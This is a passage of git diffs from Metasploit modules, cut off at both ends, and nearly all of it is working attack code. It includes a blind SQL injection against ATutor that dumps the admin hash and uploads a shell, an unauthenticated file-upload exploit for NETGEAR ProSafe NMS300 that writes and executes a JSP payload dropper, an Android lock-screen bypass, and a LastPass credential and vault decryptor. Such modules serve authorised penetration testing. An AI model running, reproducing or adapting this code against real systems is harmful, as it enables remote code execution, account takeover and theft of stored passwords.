if res.redirection.to_s.include?('bounce.php?course=0')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
|
||||
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
|
||||
return cookie
|
||||
end
|
||||
else res.redirection.to_s.include?('admin/index.php')
|
||||
# if we made it here, we are admin
|
||||
return cookie
|
||||
end
|
||||
end
|
||||
|
||||
# auth failed if we land here, bail
|
||||
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
|
||||
return nil
|
||||
end
|
||||
|
||||
def perform_request(sqli, cookie)
|
||||
# the search requires a minimum of 3 chars
|
||||
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
|
||||
rand_key = Rex::Text.rand_text_alpha(1)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
|
||||
'vars_post' => {
|
||||
"search_friends_#{rand_key}" => sqli,
|
||||
'rand_key' => rand_key,
|
||||
'search' => 'Search People'
|
||||
},
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
return res.body
|
||||
end
|
||||
|
||||
def dump_the_hash(cookie)
|
||||
extracted_hash = ""
|
||||
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
|
||||
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
|
||||
for i in 1..login_and_hash_length
|
||||
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
|
||||
asciival = generate_sql_and_test(false, false, sqli, cookie)
|
||||
if asciival >= 0
|
||||
extracted_hash << asciival.chr
|
||||
end
|
||||
end
|
||||
return extracted_hash.split(":")
|
||||
end
|
||||
|
||||
def get_ascii_value(sql, cookie)
|
||||
lower = 0
|
||||
upper = 126
|
||||
while lower < upper
|
||||
mid = (lower + upper) / 2
|
||||
sqli = "#{sql}>#{mid}"
|
||||
result = perform_request(sqli, cookie)
|
||||
if result =~ /There are \d entries./
|
||||
lower = mid + 1
|
||||
else
|
||||
upper = mid
|
||||
end
|
||||
end
|
||||
if lower > 0 and lower < 126
|
||||
value = lower
|
||||
else
|
||||
sqli = "#{sql}=#{lower}"
|
||||
result = perform_request(sqli, cookie)
|
||||
if result =~ /There are \d entries./
|
||||
value = lower
|
||||
end
|
||||
end
|
||||
return value
|
||||
end
|
||||
|
||||
def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
|
||||
if do_test
|
||||
if do_true
|
||||
result = perform_request("1=1", cookie)
|
||||
if result =~ /There are \d entries./
|
||||
return true
|
||||
end
|
||||
else not do_true
|
||||
result = perform_request("1=2", cookie)
|
||||
if not result =~ /There are \d entries./
|
||||
return true
|
||||
end
|
||||
end
|
||||
elsif not do_test and sql
|
||||
return get_ascii_value(sql, cookie)
|
||||
end
|
||||
end
|
||||
|
||||
def test_injection(cookie)
|
||||
if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
|
||||
if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
post_reference_name: self.refname,
|
||||
private_data: opts[:password],
|
||||
origin_type: :service,
|
||||
private_type: :password,
|
||||
username: opts[:user]
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
last_attempted_at: Time.now
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def exploit
|
||||
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
|
||||
print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
|
||||
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
|
||||
|
||||
print_status("Dumping username and password hash...")
|
||||
# we got admin hash now
|
||||
credz = dump_the_hash(student_cookie)
|
||||
print_good("Got the #{credz[0]} hash: #{credz[1]} !")
|
||||
if credz
|
||||
admin_cookie = login(credz[0], credz[1], true)
|
||||
print_status("Logged in as #{credz[0]}, uploading shell...")
|
||||
# install a plugin
|
||||
if upload_shell(admin_cookie)
|
||||
print_good("Shell upload successful!")
|
||||
# boom
|
||||
exec_code
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,143 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
||||
The application has a file upload vulnerability that can be exploited by an
|
||||
unauthenticated remote attacker to execute code as the SYSTEM user.
|
||||
Two servlets are vulnerable, FileUploadController (located at
|
||||
/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
|
||||
This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
|
||||
1.1.0.13.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-1525'],
|
||||
['US-CERT-VU', '777024'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 5 },
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Feb 4 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.code == 405
|
||||
Exploit::CheckCode::Detected
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def generate_jsp_payload
|
||||
exe = generate_payload_exe
|
||||
base64_exe = Rex::Text.encode_base64(exe)
|
||||
payload_name = rand_text_alpha(rand(6)+3)
|
||||
|
||||
var_raw = 'a' + rand_text_alpha(rand(8) + 3)
|
||||
var_ostream = 'b' + rand_text_alpha(rand(8) + 3)
|
||||
var_buf = 'c' + rand_text_alpha(rand(8) + 3)
|
||||
var_decoder = 'd' + rand_text_alpha(rand(8) + 3)
|
||||
var_tmp = 'e' + rand_text_alpha(rand(8) + 3)
|
||||
var_path = 'f' + rand_text_alpha(rand(8) + 3)
|
||||
var_proc2 = 'e' + rand_text_alpha(rand(8) + 3)
|
||||
|
||||
jsp = %Q|
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
<%
|
||||
try {
|
||||
String #{var_buf} = "#{base64_exe}";
|
||||
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
||||
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
||||
|
||||
File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
|
||||
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
||||
|
||||
BufferedOutputStream #{var_ostream} =
|
||||
new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
||||
#{var_ostream}.write(#{var_raw});
|
||||
#{var_ostream}.close();
|
||||
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
%>
|
||||
|
|
||||
|
||||
jsp.gsub!(/[\n\t\r]/, '')
|
||||
|
||||
return jsp
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
jsp_payload = generate_jsp_payload
|
||||
|
||||
jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jsp_full_name = "null#{jsp_name}.jsp"
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')
|
||||
post_data.add_part(jsp_payload,
|
||||
"application/octet-stream", 'binary',
|
||||
"form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")
|
||||
data = post_data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||
})
|
||||
if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
|
||||
print_status("#{peer} - Payload uploaded successfully")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name),
|
||||
'method' => 'GET'
|
||||
})
|
||||
handler
|
||||
end
|
||||
end
|
|
@ -63,13 +63,12 @@ class Metasploit4 < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task')
|
||||
if output =~ /Error:/
|
||||
print_error("The Intent could not be started")
|
||||
vprint_status("Command output: #{output}")
|
||||
else
|
||||
result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
|
||||
if result.nil?
|
||||
print_good("Intent started, the lock screen should now be a dud.")
|
||||
print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.")
|
||||
else
|
||||
print_error("The Intent could not be started: #{result}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,7 +1,12 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'base64'
|
||||
require 'sqlite3'
|
||||
require 'uri'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
|
@ -10,22 +15,26 @@ class Metasploit3 < Msf::Post
|
|||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LastPass Master Password Extractor',
|
||||
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
super(update_info(info,
|
||||
'Name' => 'LastPass Vault Decryptor',
|
||||
'Description' => %q{
|
||||
This module extracts and decrypts LastPass master login accounts and passwords,
|
||||
encryption keys, 2FA tokens and all the vault passwords
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
|
||||
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
|
||||
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
|
||||
],
|
||||
'Platform' => %w(linux osx unix win),
|
||||
'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']],
|
||||
'SessionTypes' => %w(meterpreter shell)
|
||||
)
|
||||
)
|
||||
'Platform' => %w(linux osx unix win),
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
|
||||
],
|
||||
'SessionTypes' => %w(meterpreter shell)
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -42,129 +51,108 @@ class Metasploit3 < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
print_status "Extracting credentials from #{account_map.size} LastPass databases"
|
||||
print_status "Extracting credentials"
|
||||
extract_credentials(account_map)
|
||||
|
||||
# an array of [user, encrypted password, browser]
|
||||
credentials = [] # All credentials to be decrypted
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, paths|
|
||||
if browser == 'Firefox'
|
||||
paths.each do |path|
|
||||
data = read_file(path)
|
||||
loot_path = store_loot(
|
||||
'firefox.preferences',
|
||||
'text/javascript',
|
||||
session,
|
||||
data,
|
||||
nil,
|
||||
"Firefox preferences file #{path}"
|
||||
)
|
||||
print_status "Extracting 2FA tokens"
|
||||
extract_2fa_tokens(account_map)
|
||||
|
||||
# Extract usernames and passwords from preference file
|
||||
firefox_credentials(loot_path).each do |creds|
|
||||
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
|
||||
end
|
||||
end
|
||||
else # Chrome, Safari and Opera
|
||||
paths.each do |path|
|
||||
data = read_file(path)
|
||||
loot_path = store_loot(
|
||||
"#{browser.downcase}.lastpass.database",
|
||||
'application/x-sqlite3',
|
||||
session,
|
||||
data,
|
||||
nil,
|
||||
"#{account}'s #{browser} LastPass database #{path}"
|
||||
)
|
||||
print_status "Extracting vault and iterations"
|
||||
extract_vault_and_iterations(account_map)
|
||||
|
||||
# Parsing/Querying the DB
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
lastpass_user, lastpass_pass = db.execute(
|
||||
"SELECT username, password FROM LastPassSavedLogins2 " \
|
||||
"WHERE username IS NOT NULL AND username != '' " \
|
||||
"AND password IS NOT NULL AND password != '';"
|
||||
).flatten
|
||||
if lastpass_user && lastpass_pass
|
||||
credentials << [account, browser, lastpass_user, lastpass_pass]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
print_status "Extracting encryption keys"
|
||||
extract_vault_keys(account_map)
|
||||
|
||||
credentials_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "LastPass credentials",
|
||||
'Indent' => 1,
|
||||
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
|
||||
)
|
||||
# Parse and decrypt credentials
|
||||
credentials.each do |row| # Decrypt passwords
|
||||
account, browser, user, enc_pass = row
|
||||
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
|
||||
password = clear_text_password(user, enc_pass)
|
||||
credentials_table << [account, browser, user, password]
|
||||
end
|
||||
unless credentials.empty?
|
||||
print_good credentials_table.to_s
|
||||
path = store_loot(
|
||||
"lastpass.creds",
|
||||
"text/csv",
|
||||
session,
|
||||
credentials_table.to_csv,
|
||||
nil,
|
||||
"Decrypted LastPass Master Passwords"
|
||||
)
|
||||
end
|
||||
print_lastpass_data(account_map)
|
||||
end
|
||||
|
||||
# Returns a mapping of { Account => { Browser => paths } }
|
||||
# Returns a mapping of lastpass accounts
|
||||
def build_account_map
|
||||
platform = session.platform
|
||||
profiles = user_profiles
|
||||
found_dbs_map = {}
|
||||
|
||||
if datastore['VERBOSE']
|
||||
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
|
||||
else
|
||||
print_status "Found #{profiles.size} users"
|
||||
end
|
||||
account_map = {}
|
||||
|
||||
profiles.each do |user_profile|
|
||||
account = user_profile['UserName']
|
||||
browser_path_map = {}
|
||||
localstorage_path_map = {}
|
||||
cookies_path_map = {}
|
||||
|
||||
case platform
|
||||
when /win/
|
||||
browser_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
|
||||
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
||||
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
|
||||
}
|
||||
localstorage_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
|
||||
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
||||
}
|
||||
cookies_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
|
||||
'Firefox' => "", # It's set programmatically
|
||||
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
|
||||
}
|
||||
when /unix|linux/
|
||||
browser_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
|
||||
}
|
||||
localstorage_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
||||
}
|
||||
cookies_path_map = { # TODO
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
|
||||
'Firefox' => "", # It's set programmatically
|
||||
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
|
||||
}
|
||||
when /osx/
|
||||
browser_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
|
||||
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
||||
}
|
||||
localstorage_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
||||
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
||||
}
|
||||
cookies_path_map = { # TODO
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
|
||||
'Firefox' => "", # It's set programmatically
|
||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
|
||||
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
|
||||
}
|
||||
else
|
||||
print_error "Platform not recognized: #{platform}"
|
||||
end
|
||||
|
||||
found_dbs_map[account] = {}
|
||||
account_map[account] = {}
|
||||
browser_path_map.each_pair do |browser, path|
|
||||
account_map[account][browser] = {}
|
||||
db_paths = find_db_paths(path, browser, account)
|
||||
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
|
||||
if db_paths && db_paths.size > 0
|
||||
account_map[account][browser]['lp_db_path'] = db_paths.first
|
||||
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
|
||||
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
|
||||
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
|
||||
else
|
||||
account_map[account].delete(browser)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
found_dbs_map
|
||||
account_map
|
||||
end
|
||||
|
||||
# Returns a list of DB paths found in the victims' machine
|
||||
|
@ -172,11 +160,14 @@ class Metasploit3 < Msf::Post
|
|||
paths = []
|
||||
|
||||
vprint_status "Checking #{account}'s #{browser}"
|
||||
if browser == "Firefox" # Special case for Firefox
|
||||
profiles = firefox_profile_files(path, browser)
|
||||
paths |= profiles
|
||||
if browser == "IE" # Special case for IE
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers")
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank?
|
||||
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access)
|
||||
elsif browser == "Firefox" # Special case for Firefox
|
||||
paths |= firefox_profile_files(path)
|
||||
else
|
||||
paths |= file_paths(path, browser, account)
|
||||
paths |= file_paths(path)
|
||||
end
|
||||
|
||||
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
|
||||
|
@ -188,11 +179,7 @@ class Metasploit3 < Msf::Post
|
|||
user_profiles = []
|
||||
case session.platform
|
||||
when /unix|linux/
|
||||
if session.type == "meterpreter"
|
||||
user_names = client.fs.dir.entries("/home")
|
||||
else
|
||||
user_names = session.shell_command("ls /home").split
|
||||
end
|
||||
user_names = dir("/home")
|
||||
user_names.reject! { |u| %w(. ..).include?(u) }
|
||||
user_names.each do |user_name|
|
||||
user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
|
||||
|
@ -216,25 +203,14 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
# Extracts the databases paths from the given folder ignoring . and ..
|
||||
def file_paths(path, browser, account)
|
||||
def file_paths(path)
|
||||
found_dbs_paths = []
|
||||
|
||||
files = []
|
||||
if directory?(path)
|
||||
sep = session.platform =~ /win/ ? '\\' : '/'
|
||||
if session.type == "meterpreter"
|
||||
files = client.fs.dir.entries(path)
|
||||
elsif session.type == "shell"
|
||||
files = session.shell_command("ls \"#{path}\"").split
|
||||
else
|
||||
print_error "Session type not recognized: #{session.type}"
|
||||
return found_dbs_paths
|
||||
end
|
||||
end
|
||||
|
||||
files = dir(path) if directory?(path)
|
||||
files.each do |file_path|
|
||||
unless %w(. .. Shared).include?(file_path)
|
||||
found_dbs_paths.push([path, file_path].join(sep))
|
||||
found_dbs_paths.push([path, file_path].join(system_separator))
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -242,72 +218,595 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
# Returns the profile files for Firefox
|
||||
def firefox_profile_files(path, browser)
|
||||
def firefox_profile_files(path)
|
||||
found_dbs_paths = []
|
||||
|
||||
if directory?(path)
|
||||
sep = session.platform =~ /win/ ? '\\' : '/'
|
||||
if session.type == "meterpreter"
|
||||
files = client.fs.dir.entries(path)
|
||||
elsif session.type == "shell"
|
||||
files = session.shell_command("ls \"#{path}\"").split
|
||||
else
|
||||
print_error "Session type not recognized: #{session.type}"
|
||||
return found_dbs_paths
|
||||
end
|
||||
|
||||
files = dir(path)
|
||||
files.reject! { |file| %w(. ..).include?(file) }
|
||||
files.each do |file_path|
|
||||
found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/)
|
||||
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
|
||||
end
|
||||
end
|
||||
|
||||
found_dbs_paths
|
||||
[found_dbs_paths]
|
||||
end
|
||||
|
||||
# Parses the Firefox preferences file and returns encoded credentials
|
||||
def firefox_credentials(loot_path)
|
||||
def ie_firefox_credentials(prefs_path, localstorage_db_path)
|
||||
credentials = []
|
||||
File.readlines(loot_path).each do |line|
|
||||
if /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
|
||||
creds_per_user = encoded_creds.split("|")
|
||||
creds_per_user.each do |user_creds|
|
||||
parts = user_creds.split('=')
|
||||
# Any valid credentials present?
|
||||
credentials << parts if parts.size > 1
|
||||
end
|
||||
else
|
||||
next
|
||||
data = nil
|
||||
|
||||
if prefs_path.nil? # IE
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers")
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank?
|
||||
return [] if data.blank?
|
||||
|
||||
usernames = data.split("|")
|
||||
usernames.each do |username|
|
||||
credentials << [username, nil]
|
||||
end
|
||||
|
||||
# Extract master passwords
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws")
|
||||
data = Rex::Text.encode_base64(data) unless data.blank?
|
||||
else # Firefox
|
||||
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file")
|
||||
return [] unless loot_path
|
||||
File.readlines(loot_path).each do |line|
|
||||
if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
|
||||
usernames = encoded_users.split("|")
|
||||
usernames.each do |username|
|
||||
credentials << [username, nil]
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# Extract master passwords
|
||||
path = localstorage_db_path + system_separator + "lp.loginpws"
|
||||
data = read_remote_file(path) if file?(path) # Read file if it exists
|
||||
end
|
||||
|
||||
# Get encrypted master passwords
|
||||
data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection
|
||||
return credentials if data.blank? # No passwords stored
|
||||
creds_per_user = data.split("|")
|
||||
creds_per_user.each_with_index do |user_creds, index|
|
||||
parts = user_creds.split('=')
|
||||
for creds in credentials
|
||||
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
|
||||
end
|
||||
end
|
||||
credentials
|
||||
end
|
||||
|
||||
# Decrypts the password
|
||||
def clear_text_password(email, encrypted_data)
|
||||
return if encrypted_data.blank?
|
||||
def decrypt_data(key, encrypted_data)
|
||||
return nil if encrypted_data.blank?
|
||||
|
||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
|
||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||
|
||||
if encrypted_data.include?("|") # Apply CBC
|
||||
if encrypted_data.include?("|") # Use CBC
|
||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||
decipher.decrypt
|
||||
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
|
||||
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
|
||||
encrypted_password = encrypted_data[26..-1]
|
||||
else # Apply ECB
|
||||
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
|
||||
encrypted_data = encrypted_data[26..-1] # Take only the data part
|
||||
else # Use ECB
|
||||
